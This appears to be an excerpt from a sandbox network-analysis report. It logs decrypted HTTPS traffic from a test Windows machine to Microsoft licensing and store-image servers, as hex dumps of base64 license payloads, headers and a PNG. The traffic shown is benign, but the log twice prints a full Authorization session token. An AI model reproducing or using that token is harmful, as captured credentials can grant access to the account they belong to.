wNFRUcy9wVkZSV09jNE9wdzBGVHJYRndpbGE2THdMd00vaFN1Z2NFTkF0ZUxVWkxvamZpN3JTTm1rUXJ
xZ2NUUGVqZFJ6Mzl0UjVOM0VkRHU4OVl4R0Q3WEMvcTE1SnBXZFBnb2V0Ukx0WGtkUktGWDFxeVpXSW5
DVHg2Yis4MHZndFVZ

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:23 UTC 2108 IN Data Raw: 47 39 75 5a 57 35 30 50 6a 77 76 55 6c 4e 42 53 32 56 35 56 6d 46 73 64 57 55 2b 50 43 39 4c 5a 58 6c 57 
59 57 78 31 5a 54 34 38 4c 30 74 6c 65 55 6c 75 5a 6d 38 2b 50 43 39 54 61 57 64 75 59 58 52 31 63 6d 55 2b 50 43 39 
4d 61 57 4e 6c 62 6e 4e 6c 50 67 3d 3d 22 7d 5d 2c 22 72 6f 6f 74 73 22 3a 5b 5d 7d 7d 
Data Ascii: G9uZW50PjwvUlNBS2V5VmFsdWU+PC9LZXlWYWx1ZT48L0tleUluZm8+PC9TaWduYXR1cmU+PC9MaWN
lbnNlPg=="}],"roots":[]}}

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

119 192.168.2.5 49886 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:23 UTC 2108 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.7
Content-Length: 4489
Host: licensing.mp.microsoft.com

2022-07-01 09:01:23 UTC 2110 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM

2022-07-01 09:01:23 UTC 2114 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:23 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 8209
MS-CorrelationId: 78fb7a49-36e7-4b78-bdab-0d70656ddc21
MS-RequestId: a39f9efc-de58-45de-8e22-5badfc020413
MS-CV: UznHpAHqV0GMBdER.7.1530938892.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-9bbkm

2022-07-01 09:01:23 UTC 2115 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
72 6d 54 79 70 65 22 3a 22 4d 6b 6d 73 22 2c 22 6b 65 79 49 64 22 3a 22 32 38 35 30 32 64 30 36 2d 39 64 32 39 2d 38 
35 31 34 2d 31 65 35 64 2d 36 34 34 34 37 31 31 36 64 37 39 38 22 7d 2c 22 76 61 6c 75 65 22 3a 22 50 45 78 70 59 32 
56 75 63 32 55 67 65 47 31 73 62 6e 4d 36 65 48 4e 6b 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 
6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 6a 61 47 56 74 59 53 49 67 65 47 31 73 62 6e 4d 36 65 48 4e 70 
50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 78 4c 31 68 4e 54 46 4e 
6a 61 47 56 74 59 53 31 70 62 6e 4e 30 59 57 35 6a 5a 53 49 67 53 55 51 39 
Data Ascii: {"license":{"keys":[{"metadata":{"drmType":"Mkms","keyId":"28502d06-9d29-8514-1e5d-64447116d798"},
"value":"PExpY2Vuc2UgeG1sbnM6eHNkPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYSIgeG1sbnM6e
HNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgSUQ9

2022-07-01 09:01:23 UTC 2116 IN Data Raw: 79 30 77 4d 56 51 77 4d 54 6f 77 4e 44 6f 78 4e 43 34 35 4e 7a 6b 32 4e 44 5a 61 50 43 39 43 5a 57 64 70 62 
6b 52 68 64 47 55 2b 50 43 39 4d 61 57 4e 6c 62 6e 4e 6c 53 57 35 6d 62 7a 34 38 51 33 56 7a 64 47 39 74 55 47 39 73 
61 57 4e 70 5a 58 4d 2b 5a 58 6c 4b 63 31 70 58 5a 47 68 5a 4d 32 78 52 59 32 30 35 61 32 52 58 54 6a 42 54 56 31 46 
70 54 32 6c 4a 4d 30 31 71 56 6d 70 5a 4d 6c 5a 6f 57 57 6b 78 62 55 31 36 57 58 64 4d 56 46 45 31 57 6b 52 42 64 45 
39 58 56 6d 70 50 55 7a 46 6f 54 57 70 43 62 56 70 45 59 7a 4e 4e 61 6b 46 35 57 6d 31 56 61 57 5a 52 50 54 30 38 4c 
30 4e 31 63 33 52 76 62 56 42 76 62 47 6c 6a 61 57 56 7a 50 6a 78 54 55 45 78 70 59 32 56 75 63 32 56 43 62 47 39 6a 
61 7a 35 47 51 55 46 42 51 55 78 76 51 55 46 42 52 45 70 42 51 55 46 42 
Data Ascii: y0wMVQwMTowNDoxNC45Nzk2NDZaPC9CZWdpbkRhdGU+PC9MaWNlbnNlSW5mbz48Q3Vzd
G9tUG9saWNpZXM+ZXlKc1pXZGhZM2xRY205a2RXTjBTV1FpT2lJM01qVmpZMlZoWWkxbU16WXdMVFE1W
kRBdE9XVmpPUzFoTWpCbVpEYzNNakF5Wm1VaWZRPT08L0N1c3RvbVBvbGljaWVzPjxTUExpY2Vuc2VCb
G9jaz5GQUFBQUxvQUFBREpBQUFB
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2022-07-01 09:01:23 UTC 2117 IN Data Raw: 32 68 68 4d 6a 55 32 49 69 41 76 50 6a 78 53 5a 57 5a 6c 63 6d 56 75 59 32 55 67 56 56 4a 4a 50 53 49 69 
50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 31 7a 50 6a 78 55 63 6d 46 75 63 32 5a 76 63 6d 30 67 51 57 78 6e 62 33 4a 
70 64 47 68 74 50 53 4a 6f 64 48 52 77 4f 69 38 76 64 33 64 33 4c 6e 63 7a 4c 6d 39 79 5a 79 38 79 4d 44 41 77 4c 7a 4
1 35 4c 33 68 74 62 47 52 7a 61 57 63 6a 5a 57 35 32 5a 57 78 76 63 47 56 6b 4c 58 4e 70 5a 32 35 68 64 48 56 79 5a 
53 49 67 4c 7a 34 38 4c 31 52 79 59 57 35 7a 5a 6d 39 79 62 58 4d 2b 50 45 52 70 5a 32 56 7a 64 45 31 6c 64 47 68 76 
5a 43 42 42 62 47 64 76 63 6d 6c 30 61 47 30 39 49 6d 68 30 64 48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 
6e 4c 7a 49 77 4d 44 45 76 4d 44 51 76 65 47 31 73 5a 57 35 6a 49 33 4e 6f 
Data Ascii: 2hhMjU2IiAvPjxSZWZlcmVuY2UgVVJJPSIiPjxUcmFuc2Zvcm1zPjxUcmFuc2Zvcm0gQWxnb3JpdGh
tPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwLzA5L3htbGRzaWcjZW52ZWxvcGVkLXNpZ25hdHVyZSIgLz48L1RyYW5zZ
m9ybXM+PERpZ2VzdE1ldGhvZCBBbGdvcml0aG09Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvMDQveG1sZW5jI3No

2022-07-01 09:01:23 UTC 2118 IN Data Raw: 57 5a 33 65 56 49 35 59 6d 68 6f 4c 31 70 54 63 48 42 44 51 55 38 72 61 57 34 35 55 45 39 4d 56 32 52 44 
4d 69 39 55 55 57 39 6b 5a 32 56 49 57 6e 70 69 5a 45 4a 32 65 45 70 32 53 32 68 77 59 6e 4a 78 4e 6c 70 51 4d 45 5a 
7a 55 30 56 73 54 48 64 53 62 30 78 42 62 58 59 33 65 6b 6c 31 56 6e 63 7a 56 6d 49 33 64 47 5a 52 64 44 56 69 61 6b 
4e 45 53 46 4a 42 52 7a 6c 6d 5a 58 4e 4f 62 46 6c 4c 56 6a 4e 35 59 6e 6c 4f 63 6b 68 35 65 6d 64 73 5a 6c 70 51 55 
6b 49 31 56 55 70 61 64 7a 4d 79 65 57 6b 77 4d 33 70 52 59 53 74 4d 54 47 45 77 4e 57 5a 71 63 7a 5a 71 62 30 56 74 
62 45 68 6a 4e 55 4a 79 52 31 46 79 52 33 4a 69 54 6b 31 43 59 57 68 36 4e 47 4e 74 64 58 68 4c 51 7a 51 76 5a 47 68 
46 59 6a 64 4b 57 6b 5a 56 61 32 4d 77 54 56 4a 6f 63 79 39 4e 4d 31 5a 6c 
Data Ascii: WZ3eVI5YmhoL1pTcHBDQU8raW45UE9MV2RDMi9UUW9kZ2VIWnpiZEJ2eEp2S2hwYnJxNlpQMEZzU0V
sTHdSb0xBbXY3ekl1VnczVmI3dGZRdDViakNESFJBRzlmZXNObFlLVjN5YnlOckh5emdsZlpQUkI1VUpadzMyeWkwM
3pRYStMTGEwNWZqczZqb0VtbEhjNUJyR1FyR3JiTk1CYWh6NGNtdXhLQzQvZGhFYjdKWkZVa2MwTVJocy9NM1Zl

2022-07-01 09:01:23 UTC 2119 IN Data Raw: 68 59 32 68 70 62 6d 55 69 50 6a 78 42 63 33 4e 76 59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 35 4e 61 57 4e 
79 62 33 4e 76 5a 6e 51 75 55 33 52 76 63 6d 56 51 64 58 4a 6a 61 47 46 7a 5a 55 46 77 63 46 38 34 64 32 56 72 65 57 
49 7a 5a 44 68 69 59 6e 64 6c 50 43 39 42 63 33 4e 76 59 32 6c 68 64 47 56 6b 55 45 5a 4f 63 7a 34 38 54 47 56 68 63 
32 56 53 5a 57 35 6c 64 32 46 73 55 47 56 79 61 57 39 6b 50 6a 49 77 4d 54 59 77 50 43 39 4d 5a 57 46 7a 5a 56 4a 6c 
62 6d 56 33 59 57 78 51 5a 58 4a 70 62 32 51 2b 50 43 39 43 61 57 35 6b 61 57 35 6e 50 6a 78 4d 61 57 4e 6c 62 6e 4e 
6c 53 57 35 6d 62 79 42 55 65 58 42 6c 50 53 4a 4d 5a 57 46 7a 5a 53 49 67 54 47 6c 6a 5a 57 35 7a 5a 56 56 7a 59 57 
64 6c 50 53 4a 50 62 6d 78 70 62 6d 55 69 49 45 78 70 59 32 56 75 63 32 
Data Ascii: hY2hpbmUiPjxBc3NvY2lhdGVkUEZOcz5NaWNyb3NvZnQuU3RvcmVQdXJjaGFzZUFwcF84d2VreWIzZ
DhiYndlPC9Bc3NvY2lhdGVkUEZOcz48TGVhc2VSZW5ld2FsUGVyaW9kPjIwMTYwPC9MZWFzZVJlbmV3Y
WxQZXJpb2Q+PC9CaW5kaW5nPjxMaWNlbnNlSW5mbyBUeXBlPSJMZWFzZSIgTGljZW5zZVVzYWdlPSJPb
mxpbmUiIExpY2Vuc2

2022-07-01 09:01:23 UTC 2120 IN Data Raw: 42 4d 6b 78 58 54 6d 6c 4f 61 6d 64 30 57 54 4a 57 61 46 70 70 4d 44 42 4e 52 47 63 31 54 6c 52 4f 61 45 31 
55 55 6d 6c 5a 56 45 6c 74 59 6c 64 47 65 57 45 79 56 6a 42 51 56 6c 5a 55 53 6d 35 43 64 6d 4a 48 62 47 70 6c 56 6c 
49 31 59 30 64 56 4f 56 4a 48 56 6a 4a 68 56 30 35 73 53 57 6c 33 61 57 45 79 56 6a 56 54 56 31 4a 36 53 57 70 77 59 
6b 6c 71 53 54 52 4f 56 45 46 35 57 6b 52 42 4d 6b 78 55 62 47 74 4e 61 6d 74 30 54 30 52 56 65 45 35 44 4d 48 68 61 
56 46 5a 72 54 46 52 5a 4d 45 35 45 55 54 4e 4e 56 45 55 79 57 6b 52 6a 4e 55 39 44 53 6d 52 4d 51 30 70 79 59 56 63 
31 61 30 6c 71 62 32 6c 52 4d 6a 6c 31 5a 45 64 57 64 57 52 44 53 58 4e 4a 62 6b 4a 6f 57 54 4a 30 61 46 6f 79 56 6e 
70 4a 61 6e 42 69 5a 58 6c 4b 64 31 6c 58 54 6e 4a 5a 56 32 52 73 55 31 
Data Ascii: BMkxXTmlOamd0WTJWaFppMDBNRGc1TlROaE1UUmlZVEltYldGeWEyVjBQVlZUSm5CdmJHbGplVlI1Y
0dVOVJHVjJhV05sSWl3aWEyVjVTV1J6SWpwYklqSTROVEF5WkRBMkxUbGtNamt0T0RVeE5DMHhaVFZrT
FRZME5EUTNNVEUyWkRjNU9DSmRMQ0pyYVc1a0lqb2lRMjl1ZEdWdWRDSXNJbkJoWTJ0aFoyVnpJanBiZXlKd1lXTnJ
ZV2RsU1

2022-07-01 09:01:23 UTC 2121 IN Data Raw: 42 4b 7a 6b 77 52 30 78 4e 51 55 46 42 51 56 4a 42 51 55 46 42 51 55 56 42 51 57 64 43 5a 55 5a 4f 53 45 
5a 4e 52 56 5a 77 52 58 6f 7a 61 45 74 35 5a 6d 31 76 61 44 42 56 51 57 4a 51 61 7a 4e 78 55 56 41 77 4d 56 41 35 55 
31 64 6b 5a 47 64 76 4e 53 39 4e 65 56 6c 6c 64 7a 42 30 4d 55 67 77 53 30 4e 49 61 30 46 57 62 55 52 6b 57 58 4a 36 
53 44 41 34 54 58 42 4b 4f 48 70 77 61 55 49 76 61 56 42 77 52 6d 6c 43 62 55 78 6a 57 6a 77 76 55 31 42 4d 61 57 4e 
6c 62 6e 4e 6c 51 6d 78 76 59 32 73 2b 50 46 4e 70 5a 32 35 68 64 48 56 79 5a 53 42 34 62 57 78 75 63 7a 30 69 61 48 
52 30 63 44 6f 76 4c 33 64 33 64 79 35 33 4d 79 35 76 63 6d 63 76 4d 6a 41 77 4d 43 38 77 4f 53 39 34 62 57 78 6b 63 
32 6c 6e 49 79 49 2b 50 46 4e 70 5a 32 35 6c 5a 45 6c 75 5a 6d 38 2b 50 45 
Data Ascii: BKzkwR0xNQUFBQVJBQUFBQUVBQWdCZUZOSEZNRVZwRXozaEt5Zm1vaDBVQWJQazNxUVA
wMVA5U1dkZGdvNS9NeVlldzB0MUgwS0NIa0FWbURkWXJ6SDA4TXBKOHpwaUIvaVBwRmlCbUxjWjwvU1B
MaWNlbnNlQmxvY2s+PFNpZ25hdHVyZSB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC8wOS94bWxkc2lnIyI+P
FNpZ25lZEluZm8+PE

2022-07-01 09:01:23 UTC 2122 IN Data Raw: 54 63 45 4a 46 57 6e 42 55 53 6b 4d 35 55 47 70 7a 61 6a 42 70 61 45 34 7a 64 44 6c 6e 65 6e 56 56 61 45 
5a 50 52 32 73 32 59 58 68 50 52 30 49 79 59 56 4e 50 64 57 68 44 61 57 35 46 62 55 68 68 52 57 31 7a 4d 6b 67 32 56 
6b 4a 77 4d 54 49 33 62 44 5a 4b 64 6a 68 50 62 6b 5a 36 64 57 38 32 5a 57 5a 4a 53 48 5a 79 5a 30 56 56 5a 45 6c 70 
65 47 64 5a 51 55 64 52 57 57 31 53 64 44 46 77 61 6b 6c 4c 63 30 63 35 62 55 39 6c 4b 32 5a 56 53 47 74 35 59 6c 52 
6c 51 6b 5a 53 4e 30 68 74 57 6a 4a 53 5a 55 74 50 4e 6d 5a 46 5a 46 42 79 56 6c 56 70 4f 45 35 77 4e 30 73 31 53 58 
42 49 4f 56 4a 45 62 6b 31 6e 5a 6b 64 4c 54 45 46 43 53 31 5a 68 52 6c 70 35 61 54 46 59 4b 7a 4a 32 53 31 4e 59 57 
6c 64 34 4e 57 6f 30 4e 56 70 4d 55 32 55 77 63 46 46 49 59 32 78 53 5a 58 
Data Ascii: TcEJFWnBUSkM5UGpzajBpaE4zdDlnenVVaEZPR2s2YXhPR0IyYVNPdWhDaW5FbUhhRW1zMkg2VkJwM
TI3bDZKdjhPbkZ6dW82ZWZJSHZyZ0VVZElpeGdZQUdRWW1SdDFwaklLc0c5bU9lK2ZVSGt5YlRlQkZSN0htWjJSZUt
PNmZFZFByVlVpOE5wN0s1SXBIOVJEbk1nZkdLTEFCS1ZhRlp5aTFYKzJ2S1NYWld4NWo0NVpMU2UwcFFIY2xSZX

2022-07-01 09:01:23 UTC 2123 IN Data Raw: 3d 22 7d 5d 2c 22 72 6f 6f 74 73 22 3a 5b 5d 7d 7d 
Data Ascii: ="}],"roots":[]}}

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

12 192.168.2.5 49740 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:00:36 UTC 144 OUT GET /image/apps.49525.13510798887047136.8a1815b2-017c-48c8-80cc-ca4d1ae5c8cf.2f6b9bdf-a4fc-42d8-aea0-
65c437755b78?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-07-01 09:00:36 UTC 144 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 5777
Content-Type: image/png
Last-Modified: Tue, 31 Mar 2020 18:42:54 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDdENUEzNTJCQjJGM0E"
MS-CV: sE5KrZztTESl/Nvr.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 01 Jul 2022 09:00:36 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-07-01 09:00:36 UTC 145 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 06 00 00 00 e7 fd 30 08 00 00 
16 58 49 44 41 54 78 da ed 9d 0b 98 14 d5 95 c7 4f 55 77 cf 7b 98 27 30 03 0c 32 c0 3c 18 90 a7 02 22 2a 88 1a 5f 49 4c 
76 e5 e9 aa c9 ae df ba 8b 49 24 a2 0b 7c 01 8c 51 3f 13 35 2a 2a ba 26 ab 44 57 d7 90 20 a0 e8 b2 20 a2 2c a0 3c 8d 
b0 40 90 37 01 86 d7 cc 30 d3 33 d3 ef 5b 5b 55 53 d5 73 eb d6 bd 55 d5 f8 98 ae ee 7b f9 ee d7 5d d3 35 35 dd 75 7f fd 
3f ff 73 4e 75 23 02 1f 7c 5c c4 10 f9 29 e0 83 83 c3 07 07 87 0f 0e 0e 1f 1c 1c 3e f8 e0 e0 f0 c1 c1 e1 83 83 c3 07 07 87 
0f 0e 0e 1f 7c 70 70 f8 e0 e0 f0 c1 c1 e1 83 83 c3 07 07 87 0f 3e 38 38 7c 70 70 f8 e0 e0 f0 c1 c1 e1 83 83 c3 07 3e 04 9b 
c9 c1 e1 83 0a ca d7 bd 3f 07 27 45 61 f9 ba 8e c5 c1 49 
Data Ascii: PNGIHDR0XIDATxOUw{'02<"*_ILvI$|Q?5**&DW  ,<@703[[USsU{]55u?sNu#|\)>|pp>88|pp>?'EaI

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

120 192.168.2.5 49887 20.123.104.105 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 09:01:24 UTC 2123 OUT POST /v7.0/licenses/content HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json; charset=utf-8
Authorization: t=EwCoBF8iAQAUkOrzy5O8+zKmOLh4X1kZomC7Ye8AAXIEoR7zVBsigo9+ELiiOPQgXNnqxslE8
JGHvlJPLIUUKouiwbgUni88ojzdGkdqFYYxxM5X9Ms5ydSvJFd3DZPMh0fLqF+d6noF2yzw2kJ7MwjAqWkQK0UX/a2
X3ShCSw11oNjoZpYc16pKFSkiL1guCryQknhJFxUNvpcM/mUO4J45kW/UANpVJMg9gDEiHFbRMPVe4XwtYHsROYOhh
Wh/1ix6VL6WuHyfvlkfekuIUUqh1k5GyjH1OMI7ATpSB8ZlpG7DvmA3TMU3Avh/Kyp20u4YfE7FQeZk27MtQODcOqx
r47CWO34DzhVOwzM6ckzQAjwiuN4oCNPUinxYaD0DZgAACCrsBL0oic4EeAOxmnWWC6VaWWaLWlPjwhzf4JoklMOzh
LlxAXqZ23+nx5n2ghWbB319xUQ3gAHi3vutcxW0EYu4MoFf+3kVo1VdxJihYML7fchf2azHMJStufF7tKl11N72gUB
sJi5iZnOXwfiB7B4lKYh3x5vZ2KfPdIQStUnZOBptzrf7x9RPD8cDFe3o++PVGJsK8Jb2tq3kr+aeLhzm6Id/kr4ZH
PHmS3ldf61PYLln9fL17+PWsOsDHkz7/Rl0+eJgZtP1dgC3Vu5dOF0ACzpt4zvm3HqYlTsG16p6VMyOYHZrX2KJdif
VOH7f5OVMjlGaj1tZF9GhBm752zHRZqQQkTMB4R+Nz1RDhkRmcRRnI9JO7BgjQPwOFZSe8xBvKNrcPLP
5ARJ+GJWSS5xjFAVxT6uAZU6MwHnGrgT4x+vlMWUJxDsAx5/JKY5/EF219tMGD8hQCSb+fb9BYFL3F/aagO162MKam
bsxMIrRucH374Xi4bDQj7VBOPrBWkuclUT148aGjNJYqtpiMS/CiRaXz+Ds/pTq2P6mniYMoIwVB14Ps6wwnJ7RAlS
tc2SEkcWZV3Tio45sCxl9Zv9vuHmKEnXU7PuS7sG3zVsKVc12aop7rUVT8EQGh0jDTpl80tIrJMRQfVvKwNlG8xLTR
T2bxdMM1RPSvLRZ0doPPBQ3xLXWQ3AOCEyFyjQ/3hYO1b2xE2a+Dswj3BOIQDshGKECzOKyj2OdWRMnLy8otyr8IAf
u3uGmgVPtbCFfgKzSvpCybywmW989QKSTFu7Xrn7DLafyfCoTZJfDD7fkjkVirFvnQPIUInsun19F2pNKrMq1KUwFz
u8mZkEDqtnjX6LEawC9VA62+L/kyJdSzdwQNJBD1ewtgiQX0Lu/9d9/R0AgVII3uTtGH5CloikBHjbJhfFY7Co6uZe
ZOKIL/9qmVDSc7ff3xKZQJAKLas3lHwfAKBvefbIQ9FzAKvSiqq+hbWggytvlVxJr8fM88U3K/WlkXyvavlNwqIZuU
m7uQ4szU1RF6ZfgnjC5jF1x4tKS1UK/+vxQ9XblOb3PX59I7PdoyRyFpdfPtDTGTIut8eygNRhAKN1krjohs2/yTrO
dj6AbKvNsNeUXEHVkksCLA71M2H9ls/e0KWUp8HWM22VCicNvgzoiFBn/5mw21CbanZYybAyWwpzHha4+PUKdAw==&
p=
User-Agent: LM
MS-CV: UznHpAHqV0GMBdER.8
Content-Length: 4261
Host: licensing.mp.microsoft.com

2022-07-01 09:01:24 UTC 2124 OUT Data Raw: 7b 22 63 6c 69 65 6e 74 43 68 61 6c 6c 65 6e 67 65 22 3a 22 50 44 39 34 62 57 77 67 64 6d 56 79 63 32 6c 
76 62 6a 30 69 4d 53 34 77 49 69 42 6c 62 6d 4e 76 5a 47 6c 75 5a 7a 30 69 64 58 52 6d 4c 54 67 69 49 44 38 2b 50 45 
4e 73 61 57 56 75 64 45 4e 6f 59 57 78 73 5a 57 35 6e 5a 53 42 34 62 57 78 75 63 7a 70 34 63 32 6b 39 49 6d 68 30 64 
48 41 36 4c 79 39 33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 
4c 57 6c 75 63 33 52 68 62 6d 4e 6c 49 69 42 34 62 57 78 75 63 7a 70 34 63 32 51 39 49 6d 68 30 64 48 41 36 4c 79 39 
33 64 33 63 75 64 7a 4d 75 62 33 4a 6e 4c 7a 49 77 4d 44 45 76 57 45 31 4d 55 32 4e 6f 5a 57 31 68 49 69 42 34 62 57 
78 75 63 7a 30 69 61 48 52 30 63 44 6f 76 4c 33 4e 6a 61 47 56 74 59 58 4d 
Data Ascii: {"clientChallenge":"PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiID8+PENsaWVudENoYWxs
ZW5nZSB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczp4c2
Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxucz0iaHR0cDovL3NjaGVtYXM
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2022-07-01 09:01:24 UTC 2130 IN HTTP/1.1 200 OK
Connection: close
Date: Fri, 01 Jul 2022 09:01:24 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Content-Length: 7913
MS-CorrelationId: 17528ee1-2719-4c4e-b40b-11fac98696be
MS-RequestId: 1a84583b-f193-4b08-892d-1fc63b6a4a67
MS-CV: UznHpAHqV0GMBdER.8.1530939012.0.0
X-Content-Type-Options: nosniff
MS-ServerId: ent-bc5c55848-ww67l

2022-07-01 09:01:24 UTC 2130 IN Data Raw: 7b 22 6c 69 63 65 6e 73 65 22 3a 7b 22 6b 65 79 73 22 3a 5b 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 64 
